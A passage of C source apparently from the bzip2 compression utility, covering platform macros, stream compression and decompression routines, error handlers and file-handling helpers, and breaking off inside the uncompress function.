# ifdef __CYGWIN__
# include <io.h>
# include <fcntl.h>
# undef SET_BINARY_MODE
# define SET_BINARY_MODE(fd) \
do { \
int retVal = setmode ( fileno ( fd ), \
O_BINARY ); \
ERROR_IF_MINUS_ONE ( retVal ); \
} while ( 0 )
# endif
#endif /* BZ_UNIX */
#if BZ_LCCWIN32
# include <io.h>
# include <fcntl.h>
# include <sys/stat.h>
# define NORETURN /**/
# define PATH_SEP '\\'
# define MY_LSTAT _stati64
# define MY_STAT _stati64
# define MY_S_ISREG(x) ((x) & _S_IFREG)
# define MY_S_ISDIR(x) ((x) & _S_IFDIR)
# define APPEND_FLAG(root, name) \
root=snocString((root), (name))
# define APPEND_FILESPEC(root, name) \
root = snocString ((root), (name))
# define SET_BINARY_MODE(fd) \
do { \
int retVal = setmode ( fileno ( fd ), \
O_BINARY ); \
ERROR_IF_MINUS_ONE ( retVal ); \
} while ( 0 )
# define STDERR_FILENO _fileno(stderr)
#endif /* BZ_LCCWIN32 */
/*---------------------------------------------*/
/*--
Some more stuff for all platforms :-)
--*/
typedef char Char;
typedef unsigned char Bool;
typedef unsigned char UChar;
typedef int Int32;
typedef unsigned int UInt32;
typedef short Int16;
typedef unsigned short UInt16;
#define True ((Bool)1)
#define False ((Bool)0)
/*--
IntNative is your platform's `native' int size.
Only here to avoid probs with 64-bit platforms.
--*/
typedef int IntNative;
/*---------------------------------------------------*/
/*--- Misc (file handling) data decls ---*/
/*---------------------------------------------------*/
Int32 verbosity;
Bool keepInputFiles, smallMode, deleteOutputOnInterrupt;
Bool forceOverwrite, testFailsExist, unzFailsExist, noisy;
Int32 numFileNames, numFilesProcessed, blockSize100k;
Int32 exitValue;
/*-- source modes; F==file, I==stdin, O==stdout --*/
#define SM_I2O 1
#define SM_F2O 2
#define SM_F2F 3
/*-- operation modes --*/
#define OM_Z 1
#define OM_UNZ 2
#define OM_TEST 3
Int32 opMode;
Int32 srcMode;
#define FILE_NAME_LEN 1034
Int32 longestFileName;
Char inName [FILE_NAME_LEN];
Char outName[FILE_NAME_LEN];
Char tmpName[FILE_NAME_LEN];
Char *progName;
Char progNameReally[FILE_NAME_LEN];
FILE *outputHandleJustInCase;
Int32 workFactor;
static void panic ( const Char* ) NORETURN;
static void ioError ( void ) NORETURN;
static void outOfMemory ( void ) NORETURN;
static void configError ( void ) NORETURN;
static void crcError ( void ) NORETURN;
static void cleanUpAndFail ( Int32 ) NORETURN;
static void compressedStreamEOF ( void ) NORETURN;
static void copyFileName ( Char*, Char* );
static void* myMalloc ( Int32 );
static void applySavedFileAttrToOutputFile ( IntNative fd );
/*---------------------------------------------------*/
/*--- An implementation of 64-bit ints. Sigh. ---*/
/*--- Roll on widespread deployment of ANSI C9X ! ---*/
/*---------------------------------------------------*/
typedef
struct { UChar b[8]; }
UInt64;
static
void uInt64_from_UInt32s ( UInt64* n, UInt32 lo32, UInt32 hi32 )
{
n->b[7] = (UChar)((hi32 >> 24) & 0xFF);
n->b[6] = (UChar)((hi32 >> 16) & 0xFF);
n->b[5] = (UChar)((hi32 >> 8) & 0xFF);
n->b[4] = (UChar) (hi32 & 0xFF);
n->b[3] = (UChar)((lo32 >> 24) & 0xFF);
n->b[2] = (UChar)((lo32 >> 16) & 0xFF);
n->b[1] = (UChar)((lo32 >> 8) & 0xFF);
n->b[0] = (UChar) (lo32 & 0xFF);
}
static
double uInt64_to_double ( UInt64* n )
{
Int32 i;
double base = 1.0;
double sum = 0.0;
for (i = 0; i < 8; i++) {
sum += base * (double)(n->b[i]);
base *= 256.0;
}
return sum;
}
static
Bool uInt64_isZero ( UInt64* n )
{
Int32 i;
for (i = 0; i < 8; i++)
if (n->b[i] != 0) return 0;
return 1;
}
/* Divide *n by 10, and return the remainder. */
static
Int32 uInt64_qrm10 ( UInt64* n )
{
UInt32 rem, tmp;
Int32 i;
rem = 0;
for (i = 7; i >= 0; i--) {
tmp = rem * 256 + n->b[i];
n->b[i] = tmp / 10;
rem = tmp % 10;
}
return rem;
}
/* ... and the Whole Entire Point of all this UInt64 stuff is
so that we can supply the following function.
*/
static
void uInt64_toAscii ( char* outbuf, UInt64* n )
{
Int32 i, q;
UChar buf[32];
Int32 nBuf = 0;
UInt64 n_copy = *n;
do {
q = uInt64_qrm10 ( &n_copy );
buf[nBuf] = q + '0';
nBuf++;
} while (!uInt64_isZero(&n_copy));
outbuf[nBuf] = 0;
for (i = 0; i < nBuf; i++)
outbuf[i] = buf[nBuf-i-1];
}
/*---------------------------------------------------*/
/*--- Processing of complete files and streams ---*/
/*---------------------------------------------------*/
/*---------------------------------------------*/
static
Bool myfeof ( FILE* f )
{
Int32 c = fgetc ( f );
if (c == EOF) return True;
ungetc ( c, f );
return False;
}
/*---------------------------------------------*/
static
void compressStream ( FILE *stream, FILE *zStream )
{
BZFILE* bzf = NULL;
UChar ibuf[5000];
Int32 nIbuf;
UInt32 nbytes_in_lo32, nbytes_in_hi32;
UInt32 nbytes_out_lo32, nbytes_out_hi32;
Int32 bzerr, bzerr_dummy, ret;
SET_BINARY_MODE(stream);
SET_BINARY_MODE(zStream);
if (ferror(stream)) goto errhandler_io;
if (ferror(zStream)) goto errhandler_io;
bzf = BZ2_bzWriteOpen ( &bzerr, zStream,
blockSize100k, verbosity, workFactor );
if (bzerr != BZ_OK) goto errhandler;
if (verbosity >= 2) fprintf ( stderr, "\n" );
while (True) {
if (myfeof(stream)) break;
nIbuf = fread ( ibuf, sizeof(UChar), 5000, stream );
if (ferror(stream)) goto errhandler_io;
if (nIbuf > 0) BZ2_bzWrite ( &bzerr, bzf, (void*)ibuf, nIbuf );
if (bzerr != BZ_OK) goto errhandler;
}
BZ2_bzWriteClose64 ( &bzerr, bzf, 0,
&nbytes_in_lo32, &nbytes_in_hi32,
&nbytes_out_lo32, &nbytes_out_hi32 );
if (bzerr != BZ_OK) goto errhandler;
if (ferror(zStream)) goto errhandler_io;
ret = fflush ( zStream );
if (ret == EOF) goto errhandler_io;
if (zStream != stdout) {
Int32 fd = fileno ( zStream );
if (fd < 0) goto errhandler_io;
applySavedFileAttrToOutputFile ( fd );
ret = fclose ( zStream );
outputHandleJustInCase = NULL;
if (ret == EOF) goto errhandler_io;
}
outputHandleJustInCase = NULL;
if (ferror(stream)) goto errhandler_io;
ret = fclose ( stream );
if (ret == EOF) goto errhandler_io;
if (verbosity >= 1) {
if (nbytes_in_lo32 == 0 && nbytes_in_hi32 == 0) {
fprintf ( stderr, " no data compressed.\n");
} else {
Char buf_nin[32], buf_nout[32];
UInt64 nbytes_in, nbytes_out;
double nbytes_in_d, nbytes_out_d;
uInt64_from_UInt32s ( &nbytes_in,
nbytes_in_lo32, nbytes_in_hi32 );
uInt64_from_UInt32s ( &nbytes_out,
nbytes_out_lo32, nbytes_out_hi32 );
nbytes_in_d = uInt64_to_double ( &nbytes_in );
nbytes_out_d = uInt64_to_double ( &nbytes_out );
uInt64_toAscii ( buf_nin, &nbytes_in );
uInt64_toAscii ( buf_nout, &nbytes_out );
fprintf ( stderr, "%6.3f:1, %6.3f bits/byte, "
"%5.2f%% saved, %s in, %s out.\n",
nbytes_in_d / nbytes_out_d,
(8.0 * nbytes_out_d) / nbytes_in_d,
100.0 * (1.0 - nbytes_out_d / nbytes_in_d),
buf_nin,
buf_nout
);
}
}
return;
errhandler:
BZ2_bzWriteClose64 ( &bzerr_dummy, bzf, 1,
&nbytes_in_lo32, &nbytes_in_hi32,
&nbytes_out_lo32, &nbytes_out_hi32 );
switch (bzerr) {
case BZ_CONFIG_ERROR:
configError(); break;
case BZ_MEM_ERROR:
outOfMemory (); break;
case BZ_IO_ERROR:
errhandler_io:
ioError(); break;
default:
panic ( "compress:unexpected error" );
}
panic ( "compress:end" );
/*notreached*/
}
/*---------------------------------------------*/
static
Bool uncompressStream ( FILE *zStream, FILE *stream )
{
BZFILE* bzf = NULL;
Int32 bzerr, bzerr_dummy, ret, nread, streamNo, i;
UChar obuf[5000];
UChar unused[BZ_MAX_UNUSED];
Int32 nUnused;
void* unusedTmpV;
UChar* unusedTmp;
nUnused = 0;
streamNo = 0;
SET_BINARY_MODE(stream);
SET_BINARY_MODE(zStream);
if (ferror(stream)) goto errhandler_io;
if (ferror(zStream)) goto errhandler_io;
while (True) {
bzf = BZ2_bzReadOpen (
&bzerr, zStream, verbosity,
(int)smallMode, unused, nUnused
);
if (bzf == NULL || bzerr != BZ_OK) goto errhandler;
streamNo++;
while (bzerr == BZ_OK) {
nread = BZ2_bzRead ( &bzerr, bzf, obuf, 5000 );
if (bzerr == BZ_DATA_ERROR_MAGIC) goto trycat;
if ((bzerr == BZ_OK || bzerr == BZ_STREAM_END) && nread > 0)
fwrite ( obuf, sizeof(UChar), nread, stream );
if (ferror(stream)) goto errhandler_io;
}
if (bzerr != BZ_STREAM_END) goto errhandler;
BZ2_bzReadGetUnused ( &bzerr, bzf, &unusedTmpV, &nUnused );
if (bzerr != BZ_OK) panic ( "decompress:bzReadGetUnused" );
unusedTmp = (UChar*)unusedTmpV;
for (i = 0; i < nUnused; i++) unused[i] = unusedTmp[i];
BZ2_bzReadClose ( &bzerr, bzf );
if (bzerr != BZ_OK) panic ( "decompress:bzReadGetUnused" );
if (nUnused == 0 && myfeof(zStream)) break;
}
closeok:
if (ferror(zStream)) goto errhandler_io;
if (stream != stdout) {
Int32 fd = fileno ( stream );
if (fd < 0) goto errhandler_io;
applySavedFileAttrToOutputFile ( fd );
}
ret = fclose ( zStream );
if (ret == EOF) goto errhandler_io;
if (ferror(stream)) goto errhandler_io;
ret = fflush ( stream );
if (ret != 0) goto errhandler_io;
if (stream != stdout) {
ret = fclose ( stream );
outputHandleJustInCase = NULL;
if (ret == EOF) goto errhandler_io;
}
outputHandleJustInCase = NULL;
if (verbosity >= 2) fprintf ( stderr, "\n " );
return True;
trycat:
if (forceOverwrite) {
rewind(zStream);
while (True) {
if (myfeof(zStream)) break;
nread = fread ( obuf, sizeof(UChar), 5000, zStream );
if (ferror(zStream)) goto errhandler_io;
if (nread > 0) fwrite ( obuf, sizeof(UChar), nread, stream );
if (ferror(stream)) goto errhandler_io;
}
goto closeok;
}
errhandler:
BZ2_bzReadClose ( &bzerr_dummy, bzf );
switch (bzerr) {
case BZ_CONFIG_ERROR:
configError(); break;
case BZ_IO_ERROR:
errhandler_io:
ioError(); break;
case BZ_DATA_ERROR:
crcError();
case BZ_MEM_ERROR:
outOfMemory();
case BZ_UNEXPECTED_EOF:
compressedStreamEOF();
case BZ_DATA_ERROR_MAGIC:
if (zStream != stdin) fclose(zStream);
if (stream != stdout) fclose(stream);
if (streamNo == 1) {
return False;
} else {
if (noisy)
fprintf ( stderr,
"\n%s: %s: trailing garbage after EOF ignored\n",
progName, inName );
return True;
}
default:
panic ( "decompress:unexpected error" );
}
panic ( "decompress:end" );
return True; /*notreached*/
}
/*---------------------------------------------*/
static
Bool testStream ( FILE *zStream )
{
BZFILE* bzf = NULL;
Int32 bzerr, bzerr_dummy, ret, streamNo, i;
UChar obuf[5000];
UChar unused[BZ_MAX_UNUSED];
Int32 nUnused;
void* unusedTmpV;
UChar* unusedTmp;
nUnused = 0;
streamNo = 0;
SET_BINARY_MODE(zStream);
if (ferror(zStream)) goto errhandler_io;
while (True) {
bzf = BZ2_bzReadOpen (
&bzerr, zStream, verbosity,
(int)smallMode, unused, nUnused
);
if (bzf == NULL || bzerr != BZ_OK) goto errhandler;
streamNo++;
while (bzerr == BZ_OK) {
BZ2_bzRead ( &bzerr, bzf, obuf, 5000 );
if (bzerr == BZ_DATA_ERROR_MAGIC) goto errhandler;
}
if (bzerr != BZ_STREAM_END) goto errhandler;
BZ2_bzReadGetUnused ( &bzerr, bzf, &unusedTmpV, &nUnused );
if (bzerr != BZ_OK) panic ( "test:bzReadGetUnused" );
unusedTmp = (UChar*)unusedTmpV;
for (i = 0; i < nUnused; i++) unused[i] = unusedTmp[i];
BZ2_bzReadClose ( &bzerr, bzf );
if (bzerr != BZ_OK) panic ( "test:bzReadGetUnused" );
if (nUnused == 0 && myfeof(zStream)) break;
}
if (ferror(zStream)) goto errhandler_io;
ret = fclose ( zStream );
if (ret == EOF) goto errhandler_io;
if (verbosity >= 2) fprintf ( stderr, "\n " );
return True;
errhandler:
BZ2_bzReadClose ( &bzerr_dummy, bzf );
if (verbosity == 0)
fprintf ( stderr, "%s: %s: ", progName, inName );
switch (bzerr) {
case BZ_CONFIG_ERROR:
configError(); break;
case BZ_IO_ERROR:
errhandler_io:
ioError(); break;
case BZ_DATA_ERROR:
fprintf ( stderr,
"data integrity (CRC) error in data\n" );
return False;
case BZ_MEM_ERROR:
outOfMemory();
case BZ_UNEXPECTED_EOF:
fprintf ( stderr,
"file ends unexpectedly\n" );
return False;
case BZ_DATA_ERROR_MAGIC:
if (zStream != stdin) fclose(zStream);
if (streamNo == 1) {
fprintf ( stderr,
"bad magic number (file not created by bzip2)\n" );
return False;
} else {
if (noisy)
fprintf ( stderr,
"trailing garbage after EOF ignored\n" );
return True;
}
default:
panic ( "test:unexpected error" );
}
panic ( "test:end" );
return True; /*notreached*/
}
/*---------------------------------------------------*/
/*--- Error [non-] handling grunge ---*/
/*---------------------------------------------------*/
/*---------------------------------------------*/
static
void setExit ( Int32 v )
{
if (v > exitValue) exitValue = v;
}
/*---------------------------------------------*/
static
void cadvise ( void )
{
if (noisy)
fprintf (
stderr,
"\nIt is possible that the compressed file(s) have become corrupted.\n"
"You can use the -tvv option to test integrity of such files.\n\n"
"You can use the `bzip2recover' program to attempt to recover\n"
"data from undamaged sections of corrupted files.\n\n"
);
}
/*---------------------------------------------*/
static
void showFileNames ( void )
{
if (noisy)
fprintf (
stderr,
"\tInput file = %s, output file = %s\n",
inName, outName
);
}
/*---------------------------------------------*/
static
void cleanUpAndFail ( Int32 ec )
{
IntNative retVal;
struct MY_STAT statBuf;
if ( srcMode == SM_F2F
&& opMode != OM_TEST
&& deleteOutputOnInterrupt ) {
/* Check whether input file still exists. Delete output file
only if input exists to avoid loss of data. Joerg Prante, 5
January 2002. (JRS 06-Jan-2002: other changes in 1.0.2 mean
this is less likely to happen. But to be ultra-paranoid, we
do the check anyway.) */
retVal = MY_STAT ( inName, &statBuf );
if (retVal == 0) {
if (noisy)
fprintf ( stderr,
"%s: Deleting output file %s, if it exists.\n",
progName, outName );
if (outputHandleJustInCase != NULL)
fclose ( outputHandleJustInCase );
retVal = remove ( outName );
if (retVal != 0)
fprintf ( stderr,
"%s: WARNING: deletion of output file "
"(apparently) failed.\n",
progName );
} else {
fprintf ( stderr,
"%s: WARNING: deletion of output file suppressed\n",
progName );
fprintf ( stderr,
"%s: since input file no longer exists. Output file\n",
progName );
fprintf ( stderr,
"%s: `%s' may be incomplete.\n",
progName, outName );
fprintf ( stderr,
"%s: I suggest doing an integrity test (bzip2 -tv)"
" of it.\n",
progName );
}
}
if (noisy && numFileNames > 0 && numFilesProcessed < numFileNames) {
fprintf ( stderr,
"%s: WARNING: some files have not been processed:\n"
"%s: %d specified on command line, %d not processed yet.\n\n",
progName, progName,
numFileNames, numFileNames - numFilesProcessed );
}
setExit(ec);
exit(exitValue);
}
/*---------------------------------------------*/
static
void panic ( const Char* s )
{
fprintf ( stderr,
"\n%s: PANIC -- internal consistency error:\n"
"\t%s\n"
"\tThis is a BUG. Please report it to:\n"
"\[email protected]\n",
progName, s );
showFileNames();
cleanUpAndFail( 3 );
}
/*---------------------------------------------*/
static
void crcError ( void )
{
fprintf ( stderr,
"\n%s: Data integrity error when decompressing.\n",
progName );
showFileNames();
cadvise();
cleanUpAndFail( 2 );
}
/*---------------------------------------------*/
static
void compressedStreamEOF ( void )
{
if (noisy) {
fprintf ( stderr,
"\n%s: Compressed file ends unexpectedly;\n\t"
"perhaps it is corrupted? *Possible* reason follows.\n",
progName );
perror ( progName );
showFileNames();
cadvise();
}
cleanUpAndFail( 2 );
}
/*---------------------------------------------*/
static
void ioError ( void )
{
fprintf ( stderr,
"\n%s: I/O or other error, bailing out. "
"Possible reason follows.\n",
progName );
perror ( progName );
showFileNames();
cleanUpAndFail( 1 );
}
/*---------------------------------------------*/
static
void mySignalCatcher ( IntNative n )
{
fprintf ( stderr,
"\n%s: Control-C or similar caught, quitting.\n",
progName );
cleanUpAndFail(1);
}
/*---------------------------------------------*/
static
void mySIGSEGVorSIGBUScatcher ( IntNative n )
{
const char *msg;
if (opMode == OM_Z)
msg = ": Caught a SIGSEGV or SIGBUS whilst compressing.\n"
"\n"
" Possible causes are (most likely first):\n"
" (1) This computer has unreliable memory or cache hardware\n"
" (a surprisingly common problem; try a different machine.)\n"
" (2) A bug in the compiler used to create this executable\n"
" (unlikely, if you didn't compile bzip2 yourself.)\n"
" (3) A real bug in bzip2 -- I hope this should never be the case.\n"
" The user's manual, Section 4.3, has more info on (1) and (2).\n"
" \n"
" If you suspect this is a bug in bzip2, or are unsure about (1)\n"
" or (2), feel free to report it to: [email protected].\n"
" Section 4.3 of the user's manual describes the info a useful\n"
" bug report should have. If the manual is available on your\n"
" system, please try and read it before mailing me. If you don't\n"
" have the manual or can't be bothered to read it, mail me anyway.\n"
"\n";
else
msg = ": Caught a SIGSEGV or SIGBUS whilst decompressing.\n"
"\n"
" Possible causes are (most likely first):\n"
" (1) The compressed data is corrupted, and bzip2's usual checks\n"
" failed to detect this. Try bzip2 -tvv my_file.bz2.\n"
" (2) This computer has unreliable memory or cache hardware\n"
" (a surprisingly common problem; try a different machine.)\n"
" (3) A bug in the compiler used to create this executable\n"
" (unlikely, if you didn't compile bzip2 yourself.)\n"
" (4) A real bug in bzip2 -- I hope this should never be the case.\n"
" The user's manual, Section 4.3, has more info on (2) and (3).\n"
" \n"
" If you suspect this is a bug in bzip2, or are unsure about (2)\n"
" or (3), feel free to report it to: [email protected].\n"
" Section 4.3 of the user's manual describes the info a useful\n"
" bug report should have. If the manual is available on your\n"
" system, please try and read it before mailing me. If you don't\n"
" have the manual or can't be bothered to read it, mail me anyway.\n"
"\n";
write ( STDERR_FILENO, "\n", 1 );
write ( STDERR_FILENO, progName, strlen ( progName ) );
write ( STDERR_FILENO, msg, strlen ( msg ) );
msg = "\tInput file = ";
write ( STDERR_FILENO, msg, strlen (msg) );
write ( STDERR_FILENO, inName, strlen (inName) );
write ( STDERR_FILENO, "\n", 1 );
msg = "\tOutput file = ";
write ( STDERR_FILENO, msg, strlen (msg) );
write ( STDERR_FILENO, outName, strlen (outName) );
write ( STDERR_FILENO, "\n", 1 );
/* Don't call cleanupAndFail. If we ended up here something went
terribly wrong. Trying to clean up might fail spectacularly. */
if (opMode == OM_Z) setExit(3); else setExit(2);
_exit(exitValue);
}
/*---------------------------------------------*/
static
void outOfMemory ( void )
{
fprintf ( stderr,
"\n%s: couldn't allocate enough memory\n",
progName );
showFileNames();
cleanUpAndFail(1);
}
/*---------------------------------------------*/
static
void configError ( void )
{
fprintf ( stderr,
"bzip2: I'm not configured correctly for this platform!\n"
"\tI require Int32, Int16 and Char to have sizes\n"
"\tof 4, 2 and 1 bytes to run properly, and they don't.\n"
"\tProbably you can fix this by defining them correctly,\n"
"\tand recompiling. Bye!\n" );
setExit(3);
exit(exitValue);
}
/*---------------------------------------------------*/
/*--- The main driver machinery ---*/
/*---------------------------------------------------*/
/* All rather crufty. The main problem is that input files
are stat()d multiple times before use. This should be
cleaned up.
*/
/*---------------------------------------------*/
static
void pad ( Char *s )
{
Int32 i;
if ( (Int32)strlen(s) >= longestFileName ) return;
for (i = 1; i <= longestFileName - (Int32)strlen(s); i++)
fprintf ( stderr, " " );
}
/*---------------------------------------------*/
static
void copyFileName ( Char* to, Char* from )
{
if ( strlen(from) > FILE_NAME_LEN-10 ) {
fprintf (
stderr,
"bzip2: file name\n`%s'\n"
"is suspiciously (more than %d chars) long.\n"
"Try using a reasonable file name instead. Sorry! :-)\n",
from, FILE_NAME_LEN-10
);
setExit(1);
exit(exitValue);
}
strncpy(to,from,FILE_NAME_LEN-10);
to[FILE_NAME_LEN-10]='\0';
}
/*---------------------------------------------*/
static
Bool fileExists ( Char* name )
{
FILE *tmp = fopen ( name, "rb" );
Bool exists = (tmp != NULL);
if (tmp != NULL) fclose ( tmp );
return exists;
}
/*---------------------------------------------*/
/* Open an output file safely with O_EXCL and good permissions.
This avoids a race condition in versions < 1.0.2, in which
the file was first opened and then had its interim permissions
set safely. We instead use open() to create the file with
the interim permissions required. (--- --- rw-).
For non-Unix platforms, if we are not worrying about
security issues, simple this simply behaves like fopen.
*/
static
FILE* fopen_output_safely ( Char* name, const char* mode )
{
# if BZ_UNIX
FILE* fp;
IntNative fh;
fh = open(name, O_WRONLY|O_CREAT|O_EXCL, S_IWUSR|S_IRUSR);
if (fh == -1) return NULL;
fp = fdopen(fh, mode);
if (fp == NULL) close(fh);
return fp;
# else
return fopen(name, mode);
# endif
}
/*---------------------------------------------*/
/*--
if in doubt, return True
--*/
static
Bool notAStandardFile ( Char* name )
{
IntNative i;
struct MY_STAT statBuf;
i = MY_LSTAT ( name, &statBuf );
if (i != 0) return True;
if (MY_S_ISREG(statBuf.st_mode)) return False;
return True;
}
/*---------------------------------------------*/
/*--
rac 11/21/98 see if file has hard links to it
--*/
static
Int32 countHardLinks ( Char* name )
{
IntNative i;
struct MY_STAT statBuf;
i = MY_LSTAT ( name, &statBuf );
if (i != 0) return 0;
return (statBuf.st_nlink - 1);
}
/*---------------------------------------------*/
/* Copy modification date, access date, permissions and owner from the
source to destination file. We have to copy this meta-info off
into fileMetaInfo before starting to compress / decompress it,
because doing it afterwards means we get the wrong access time.
To complicate matters, in compress() and decompress() below, the
sequence of tests preceding the call to saveInputFileMetaInfo()
involves calling fileExists(), which in turn establishes its result
by attempting to fopen() the file, and if successful, immediately
fclose()ing it again. So we have to assume that the fopen() call
does not cause the access time field to be updated.
Reading of the man page for stat() (man 2 stat) on RedHat 7.2 seems
to imply that merely doing open() will not affect the access time.
Therefore we merely need to hope that the C library only does
open() as a result of fopen(), and not any kind of read()-ahead
cleverness.
It sounds pretty fragile to me. Whether this carries across
robustly to arbitrary Unix-like platforms (or even works robustly
on this one, RedHat 7.2) is unknown to me. Nevertheless ...
*/
#if BZ_UNIX
static
struct MY_STAT fileMetaInfo;
#endif
static
void saveInputFileMetaInfo ( Char *srcName )
{
# if BZ_UNIX
IntNative retVal;
/* Note use of stat here, not lstat. */
retVal = MY_STAT( srcName, &fileMetaInfo );
ERROR_IF_NOT_ZERO ( retVal );
# endif
}
static
void applySavedTimeInfoToOutputFile ( Char *dstName )
{
# if BZ_UNIX
IntNative retVal;
struct utimbuf uTimBuf;
uTimBuf.actime = fileMetaInfo.st_atime;
uTimBuf.modtime = fileMetaInfo.st_mtime;
retVal = utime ( dstName, &uTimBuf );
ERROR_IF_NOT_ZERO ( retVal );
# endif
}
static
void applySavedFileAttrToOutputFile ( IntNative fd )
{
# if BZ_UNIX
IntNative retVal;
retVal = fchmod ( fd, fileMetaInfo.st_mode );
ERROR_IF_NOT_ZERO ( retVal );
(void) fchown ( fd, fileMetaInfo.st_uid, fileMetaInfo.st_gid );
/* chown() will in many cases return with EPERM, which can
be safely ignored.
*/
# endif
}
/*---------------------------------------------*/
static
Bool containsDubiousChars ( Char* name )
{
# if BZ_UNIX
/* On unix, files can contain any characters and the file expansion
* is performed by the shell.
*/
return False;
# else /* ! BZ_UNIX */
/* On non-unix (Win* platforms), wildcard characters are not allowed in
* filenames.
*/
for (; *name != '\0'; name++)
if (*name == '?' || *name == '*') return True;
return False;
# endif /* BZ_UNIX */
}
/*---------------------------------------------*/
#define BZ_N_SUFFIX_PAIRS 4
const Char* zSuffix[BZ_N_SUFFIX_PAIRS]
= { ".bz2", ".bz", ".tbz2", ".tbz" };
const Char* unzSuffix[BZ_N_SUFFIX_PAIRS]
= { "", "", ".tar", ".tar" };
static
Bool hasSuffix ( Char* s, const Char* suffix )
{
Int32 ns = strlen(s);
Int32 nx = strlen(suffix);
if (ns < nx) return False;
if (strcmp(s + ns - nx, suffix) == 0) return True;
return False;
}
static
Bool mapSuffix ( Char* name,
const Char* oldSuffix,
const Char* newSuffix )
{
if (!hasSuffix(name,oldSuffix)) return False;
name[strlen(name)-strlen(oldSuffix)] = 0;
strcat ( name, newSuffix );
return True;
}
/*---------------------------------------------*/
static
void compress ( Char *name )
{
FILE *inStr;
FILE *outStr;
Int32 n, i;
struct MY_STAT statBuf;
deleteOutputOnInterrupt = False;
if (name == NULL && srcMode != SM_I2O)
panic ( "compress: bad modes\n" );
switch (srcMode) {
case SM_I2O:
copyFileName ( inName, (Char*)"(stdin)" );
copyFileName ( outName, (Char*)"(stdout)" );
break;
case SM_F2F:
copyFileName ( inName, name );
copyFileName ( outName, name );
strcat ( outName, ".bz2" );
break;
case SM_F2O:
copyFileName ( inName, name );
copyFileName ( outName, (Char*)"(stdout)" );
break;
}
if ( srcMode != SM_I2O && containsDubiousChars ( inName ) ) {
if (noisy)
fprintf ( stderr, "%s: There are no files matching `%s'.\n",
progName, inName );
setExit(1);
return;
}
if ( srcMode != SM_I2O && !fileExists ( inName ) ) {
fprintf ( stderr, "%s: Can't open input file %s: %s.\n",
progName, inName, strerror(errno) );
setExit(1);
return;
}
for (i = 0; i < BZ_N_SUFFIX_PAIRS; i++) {
if (hasSuffix(inName, zSuffix[i])) {
if (noisy)
fprintf ( stderr,
"%s: Input file %s already has %s suffix.\n",
progName, inName, zSuffix[i] );
setExit(1);
return;
}
}
if ( srcMode == SM_F2F || srcMode == SM_F2O ) {
MY_STAT(inName, &statBuf);
if ( MY_S_ISDIR(statBuf.st_mode) ) {
fprintf( stderr,
"%s: Input file %s is a directory.\n",
progName,inName);
setExit(1);
return;
}
}
if ( srcMode == SM_F2F && !forceOverwrite && notAStandardFile ( inName )) {
if (noisy)
fprintf ( stderr, "%s: Input file %s is not a normal file.\n",
progName, inName );
setExit(1);
return;
}
if ( srcMode == SM_F2F && fileExists ( outName ) ) {
if (forceOverwrite) {
remove(outName);
} else {
fprintf ( stderr, "%s: Output file %s already exists.\n",
progName, outName );
setExit(1);
return;
}
}
if ( srcMode == SM_F2F && !forceOverwrite &&
(n=countHardLinks ( inName )) > 0) {
fprintf ( stderr, "%s: Input file %s has %d other link%s.\n",
progName, inName, n, n > 1 ? "s" : "" );
setExit(1);
return;
}
if ( srcMode == SM_F2F ) {
/* Save the file's meta-info before we open it. Doing it later
means we mess up the access times. */
saveInputFileMetaInfo ( inName );
}
switch ( srcMode ) {
case SM_I2O:
inStr = stdin;
outStr = stdout;
if ( isatty ( fileno ( stdout ) ) ) {
fprintf ( stderr,
"%s: I won't write compressed data to a terminal.\n",
progName );
fprintf ( stderr, "%s: For help, type: `%s --help'.\n",
progName, progName );
setExit(1);
return;
};
break;
case SM_F2O:
inStr = fopen ( inName, "rb" );
outStr = stdout;
if ( isatty ( fileno ( stdout ) ) ) {
fprintf ( stderr,
"%s: I won't write compressed data to a terminal.\n",
progName );
fprintf ( stderr, "%s: For help, type: `%s --help'.\n",
progName, progName );
if ( inStr != NULL ) fclose ( inStr );
setExit(1);
return;
};
if ( inStr == NULL ) {
fprintf ( stderr, "%s: Can't open input file %s: %s.\n",
progName, inName, strerror(errno) );
setExit(1);
return;
};
break;
case SM_F2F:
inStr = fopen ( inName, "rb" );
outStr = fopen_output_safely ( outName, "wb" );
if ( outStr == NULL) {
fprintf ( stderr, "%s: Can't create output file %s: %s.\n",
progName, outName, strerror(errno) );
if ( inStr != NULL ) fclose ( inStr );
setExit(1);
return;
}
if ( inStr == NULL ) {
fprintf ( stderr, "%s: Can't open input file %s: %s.\n",
progName, inName, strerror(errno) );
if ( outStr != NULL ) fclose ( outStr );
setExit(1);
return;
};
break;
default:
panic ( "compress: bad srcMode" );
break;
}
if (verbosity >= 1) {
fprintf ( stderr, " %s: ", inName );
pad ( inName );
fflush ( stderr );
}
/*--- Now the input and output handles are sane. Do the Biz. ---*/
outputHandleJustInCase = outStr;
deleteOutputOnInterrupt = True;
compressStream ( inStr, outStr );
outputHandleJustInCase = NULL;
/*--- If there was an I/O error, we won't get here. ---*/
if ( srcMode == SM_F2F ) {
applySavedTimeInfoToOutputFile ( outName );
deleteOutputOnInterrupt = False;
if ( !keepInputFiles ) {
IntNative retVal = remove ( inName );
ERROR_IF_NOT_ZERO ( retVal );
}
}
deleteOutputOnInterrupt = False;
}
/*---------------------------------------------*/
static
void uncompress ( Char *name )
{
FILE *inStr;
FILE *outStr;
Int32 n, i;
Bool magicNumberOK;
Bool cantGuess;
struct MY_STAT statBuf;
deleteOutputOnInterrupt = False;
if (name == NULL && srcMode != SM_I2O)
panic ( "uncompress: bad modes\n" );
cantGuess = False;
switch (srcMode) {
case SM_I2O:
copyFileName ( inName, (Char*)"(stdin)" );
copyFileName ( outName, (Char*)"(stdout)" );
break;
case SM_F2F:
copyFileName ( inName, name );
copyFileName ( outName, name );
for (i = 0; i < BZ_N_SUFFIX_PAIRS; i++)
if (mapSuffix(outName,zSuffix[i],unzSuffix[i]))
goto zzz;
cantGuess = True;
strcat ( outName, ".out" );
break;
case SM_F2O:
copyFileName ( inName, name );
copyFileName ( outName, (Char*)"(stdout)" );
break;
}
zzz:
if ( srcMode != SM_I2O && containsDubiousChars ( inName ) ) {
if (noisy)
fprintf ( stderr, "%s: There are no files matching `%s'.\n",
progName, inName );
setExit(1);
return;
}
if ( srcMode != SM_I2O && !fileExists ( inName ) ) {
fprintf ( stderr, "%s: Can't open input file %s: %s.\n",
progName, inName, strerror(errno) );
setExit(1);
return;
}
if ( srcMode == SM_F2F || srcMode == SM_F2O ) {
MY_STAT(inName, &statBuf);
if ( MY_S_ISDIR(statBuf.st_mode) ) {
fprintf( stderr,
"%s: Input file %s is a directory.\n",
progName,inName);
setExit(1);
return;
}
}
